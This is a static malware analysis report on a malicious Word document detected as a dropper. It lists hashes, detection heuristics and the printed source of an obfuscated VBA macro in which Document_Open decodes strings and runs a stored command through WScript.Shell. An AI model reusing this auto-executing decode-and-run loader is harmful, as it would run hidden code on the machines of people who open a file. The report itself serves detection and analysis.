Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2325a4cbe0780542…

MALICIOUS

Office (OLE)

35.5 KB Created: 2018-07-29 22:18:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: c3b82a3545432dac8aca0b6a9cd2bbd4 SHA-1: 70d4412ad9587587d3871c9ecc93f089d3f421a6 SHA-256: 2325a4cbe078054265dbaaf575b332d3e93323df0d08fc8e845092581d19b222
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a heavily obfuscated VBA macro with an auto-execute function (Document_Open). This macro utilizes CreateObject and CallByName, common techniques for executing arbitrary code. The ClamAV detection name 'Doc.Dropper.Valyria-6666974-0' suggests its function is to drop and execute a secondary payload. The VBA code appears to be designed to decode and execute commands, potentially involving PowerShell.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6666974-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6666974-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2883 bytes
SHA-256: bb92bb4d58361cc2e42da396a8652d76d47e137cdee56f841bbaba89ca4d96ec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function FPEX_() As String
Dim MKDLFANSHQN_As String = "VPEGBZEJBS_":For i = 29 To 66:HVMCCPTI_(aAVAHADXYT_ & LYJCUNPVLCI_(34, 4), 11)):Next i:Random(12, 6)QFKMQOMNOJS_:Random(12, 6)QFKMQOMNOJS_:Dim PRTYVK_ = aWKHNXM_:PRTYVK_ = aWKHNXM_:Dim MKDLFANSHQN_As String = "VPEGBZEJBS_":OPVMHMXS_(PMUIGHXRFB_ & VBCFDYJ_(12, 6), 11)):Random(12, 6)QFKMQOMNOJS_:Random(12, 6)QFKMQOMNOJS_:For i = 10 To 98:URKYQKJPOM_(aEBTXLR_ & NAAGFWJ_(54, v), 11)):Next i:DUGTHV_(NTMPJQKKEP_)):Dim Random(12, 6)QFKMQOMNOJS_:
End Function
Public Function OZ_(ByVal R_ As String)
   Dim M_ As String: Dim TFO_ As Long: For TFO_ = 1 To Len(R_) Step 2: M_ = M_ & Chr(Val("&H" & Mid(R_, TFO_, 2)) - 61): Next: OZ_ = M_
End Function
Private Function YUSYIXK_() As String
ERMYYIH_( & vSAYCCZY_:Dim PMJBSWG_As String = "LHIFBGVD_":Dim PMJBSWG_As String = "LHIFBGVD_":Dim Dim WUARKF_(HBBEQHHLBZ_)):Random(MMAAKP_):ERMYYIH_( & vSAYCCZY_:For i = 30 To 68:MVWKPQMEND_(aLOMSRWSJZSN_ & OVZBDUXJLR_(54, v), 11)):Next i:For i = 30 To 68:MVWKPQMEND_(aLOMSRWSJZSN_ & OVZBDUXJLR_(54, v), 11)):Next i:Dim FQIEQX_ = aXUAKXQMC_:WUARKF_(HBBEQHHLBZ_)):Dim SYUMITJEE_(LYXKNTYUV_ & GRXMVZSUB_(12, 6), 11)):
End Function
Sub Document_Open()
Application.Run OZ_("91938D9C")
End Sub
Private Function NOINFA_() As String
Random(YTRFZVQWGGL_):Random(12, 6)KCWCCQJ_:GKUODEPBWT_(JHXPAFJ_)):GKUODEPBWT_(JHXPAFJ_)):For i = 34 To 66:UCEIWOI_(aMAUHSG_ & LJSZNBWP_(54, v), 11)):Next i:Dim CFDAIB_As String = "UUKHLIEIGQO_":For i = 34 To 66:UCEIWOI_(aMAUHSG_ & LJSZNBWP_(54, v), 11)):Next i:Dim CFDAIB_As String = "UUKHLIEIGQO_":Dim For i = 19 To 84:BLVMZBXVZFR_(aVHFAZT_ & KCSANLGX_(34, 4), 11)):Next i:Random(12, 6)KCWCCQJ_:Dim Random(12, 6)KCWCCQJ_:For i = 34 To 66:UCEIWOI_(aMAUHSG_ & LJSZNBWP_(54, v), 11)):Next i:DWWDIFZV_(LHBTDGOO_ & DZRREDGN_(12, 6), 11)):
End Function
Sub TVP_()
    CallByName CreateObject(OZ_("9490A0AFA6ADB16B90A5A2A9A9")), OZ_("8FB2AB"), VbMethod, OZ_(ActiveDocument.Variables("QOZCOAIOI").Value), 0, True
End Sub
Private Function FHGV_() As String
KARVULAV_(DEMUAUJDG_)):OEVXKTWQO_( & vFDFPQZIKFQK_:BIQAJZGMZI_(CPSBEQ_ & GBBCEH_(12, 6), 11)):Dim JRKFLCUM_As String = "DBUZHVNYBN_":OEVXKTWQO_( & vFDFPQZIKFQK_:BIQAJZGMZI_(CPSBEQ_ & GBBCEH_(12, 6), 11)):For i = 18 To 84:KCQIGDYMYW_(aURVPUIH_ & BIEMGGBAQ_(54, v), 11)):Next i:Dim JRKFLCUM_As String = "DBUZHVNYBN_":GWLYVWSTVIQ_ = aTZYXQK_:KARVULAV_(DEMUAUJDG_)):Random(12, 6)FCIEIL_:KARVULAV_(DEMUAUJDG_)):Random(QLPXNKW_):OEVXKTWQO_( & vFDFPQZIKFQK_:For i = 18 To 84:KCQIGDYMYW_(aURVPUIH_ & BIEMGGBAQ_(54, v), 11)):Next i:
End Function

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